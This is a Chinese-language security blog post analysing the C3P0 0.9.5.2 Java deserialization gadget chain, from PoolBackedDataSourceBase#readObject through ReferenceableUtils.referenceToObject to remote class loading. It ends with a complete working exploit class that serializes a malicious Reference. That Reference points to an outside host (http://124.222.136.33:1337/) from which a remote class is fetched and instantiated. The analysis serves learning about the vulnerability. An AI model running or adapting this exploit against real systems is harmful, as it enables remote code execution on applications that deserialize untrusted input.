目录
前言
C3P0介绍
回归本源——序列化的条件
利用链
利用链分析
入口——PoolBackedDataSourceBase#readObject
拨云见日——PoolBackedDataSourceBase#writeObject
综合分析
EXP
前言
这条链最让我眼前一亮的就是对Serializable接口的有无进行了一个玩,相较之前纯粹跟全继承Serializable接口的链子,思考又多了一个维度。(虽然不是关键)
C3P0介绍
pom依赖
<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
回归本源——序列化的条件
求求师傅们别嫌我烦,让我再啰嗦几句QWQ
提问:
一个类的某个属性没有继承Serializable接口,这个类可以序列化吗?
回答:
在 Java 中,如果一个类的某个属性没有实现 Serializable 接口,但这个属性是 transient 的,那么这个类仍然可以被序列化。当对象被序列化时,transient 修饰的属性将会被忽略,不会被序列化到输出流中,而其他非 transient 的属性则会被正常序列化。
如果一个类的某个属性既不是 transient 的,也没有实现 Serializable 接口,那么在尝试对该类的实例对象进行序列化时,会导致编译错误或者在运行时抛出 NotSerializableException 异常。
因此,为了确保一个类的实例对象可以被成功序列化,通常建议满足以下条件:
- 类本身实现 Serializable 接口;
- 所有非 transient 的属性都实现 Serializable 接口,或者是基本数据类型(如 int、long 等);
- 如果有某些属性不需要被序列化,可以将它们声明为 transient。
利用链
PoolBackedDataSourceBase#readObject->
ReferenceIndirector#getObject->
ReferenceableUtils#referenceToObject->
of(ObjectFactory)#getObjectInstance利用链分析
入口——PoolBackedDataSourceBase#readObject
PoolBackedDataSourceBase中有个ConnectionPoolDataSource类型的私用属性
private ConnectionPoolDataSource connectionPoolDataSource; 注意到ConnectionPoolDataSource没有继承Serializable接口,也就无法被序列化
public interface ConnectionPoolDataSource  extends CommonDataSource点到为止,再看PoolBackedDataSourceBase#readObject
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        short version = ois.readShort();
        switch (version) {
            case 1:
                Object o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }
                this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
                this.dataSourceName = (String)ois.readObject();
                o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }
                this.extensions = (Map)o;
                this.factoryClassLocation = (String)ois.readObject();
                this.identityToken = (String)ois.readObject();
                this.numHelperThreads = ois.readInt();
                this.pcs = new PropertyChangeSupport(this);
                this.vcs = new VetoableChangeSupport(this);
                return;
            default:
                throw new IOException("Unsupported Serialized Version: " + version);
        }
    }
我们发现一个奇怪的逻辑:
判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,若是则调用getobject后强转对象为ConnectionPoolDataSource
也就是在反序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource
这么做的目的是什么呢?
抛开目的不谈,((IndirectlySerialized)o).getObject()我们也不知道其具体实现是什么
public interface IndirectlySerialized extends Serializable {
    Object getObject() throws ClassNotFoundException, IOException;
}反序列化分析到这一步似乎已经瓶颈,我们下面再来看序列化的过程。
拨云见日——PoolBackedDataSourceBase#writeObject
来看PoolBackedDataSourceBase#writeObject
private void writeObject(ObjectOutputStream oos) throws IOException {
        oos.writeShort(1);
        ReferenceIndirector indirector;
        try {
            SerializableUtils.toByteArray(this.connectionPoolDataSource);
            oos.writeObject(this.connectionPoolDataSource);
        } catch (NotSerializableException var9) {
            MLog.getLogger(this.getClass()).log(MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", var9);
            try {
                indirector = new ReferenceIndirector();
                oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));
            } 这段逻辑是,首先尝试序列化当前对象的connectionPoolDataSource属性,若抛出NotSerializableException异常,即不能序列化,则catch这个异常,并用ReferenceIndirector.indirectForm处理后再序列化。
因为ConnectionPoolDataSource没有继承Serializable接口(上面提到过),所以我们会进到异常的逻辑中
跟进new ReferenceIndirector().indirectForm
public IndirectlySerialized indirectForm(Object var1) throws Exception {
        Reference var2 = ((Referenceable)var1).getReference();
        return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
    }调用了connectionPoolDataSource属性的getReference(),返回Reference后作为参数封装进ReferenceSerialized对象,而ReferenceSerialized实现的接口IndirectlySerialized继承了Serializable接口,因此ReferenceSerialized可被序列化。
private static class ReferenceSerialized implements IndirectlySerialized
public interface IndirectlySerialized extends SerializableOK到这里为止,我们知道了connectionPoolDataSource属性的序列化,最后写入的是ReferenceSerialized
也就是在序列化时进行了这样的转换:IndirectlySerialized -> ConnectionPoolDataSource
太好了,我逐渐理解了一切!
综合分析
上面所讲的序列化的过程其实就是为了照顾到不能直接序列化的ConnectionPoolDataSource,先提供一个可序列化的ReferenceSerialized(IndirectlySerialized)进行中转。
而反序列化的过程就是把中转的ReferenceSerialized(IndirectlySerialized)再度还原为PoolBackedDataSourceBase类的属性ConnectionPoolDataSource
好的,我们回过头再来看PoolBackedDataSourceBase#readObject中的这段代码
Object o = ois.readObject();
                if (o instanceof IndirectlySerialized) {
                    o = ((IndirectlySerialized)o).getObject();
                }
                this.connectionPoolDataSource = (ConnectionPoolDataSource)o;((IndirectlySerialized)o).getObject()其实就是调用ReferenceIndirector#getObject
public Object getObject() throws ClassNotFoundException, IOException {
            try {
                InitialContext var1;
                if (this.env == null) {
                    var1 = new InitialContext();
                } else {
                    var1 = new InitialContext(this.env);
                }
                Context var2 = null;
                if (this.contextName != null) {
                    var2 = (Context)var1.lookup(this.contextName);
                }
                return ReferenceableUtils.referenceToObject(this.reference, this.name, var2, this.env);
            }跟进ReferenceableUtils.referenceToObject()
顾名思义,这个方法用于将引用(Reference)转换为对象
 public static Object referenceToObject(Reference var0, Name var1, Context var2, Hashtable var3) throws NamingException {
        try {
            String var4 = var0.getFactoryClassName();
            String var11 = var0.getFactoryClassLocation();
            ClassLoader var6 = Thread.currentThread().getContextClassLoader();
            if (var6 == null) {
                var6 = ReferenceableUtils.class.getClassLoader();
            }
            Object var7;
            if (var11 == null) {
                var7 = var6;
            } else {
                URL var8 = new URL(var11);
                var7 = new URLClassLoader(new URL[]{var8}, var6);
            }
            Class var12 = Class.forName(var4, true, (ClassLoader)var7);
            ObjectFactory var9 = (ObjectFactory)var12.newInstance();
            return var9.getObjectInstance(var0, var1, var2, var3);
        }Reference是之前序列化时候可控的(序列化时通过调用connectionPoolDataSource属性的getReference方法),我们只要传一个覆写了getReference方法的connectionPoolDataSource给PoolBackedDataSourceBase参与序列化即可。
之后显然可以通过URLClassLoader加载并实例化远程类
EXP
package com.c3p0;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class C3P0 {
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase base = new PoolBackedDataSourceBase(false);
        Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
        Field cp = clazz.getDeclaredField("connectionPoolDataSource");
        cp.setAccessible(true);
        cp.set(base, new evil());
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(base);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        Object o = (Object) ois.readObject();
    }
    public static class evil implements ConnectionPoolDataSource, Referenceable{
        public Reference getReference() throws NamingException {
            return new Reference("calc", "calc", "http://124.222.136.33:1337/");
        }
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }
        public void setLogWriter(PrintWriter out) throws SQLException {
        }
        public void setLoginTimeout(int seconds) throws SQLException {
        }
        public int getLoginTimeout() throws SQLException {
            return 0;
        }
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }
    }
}




















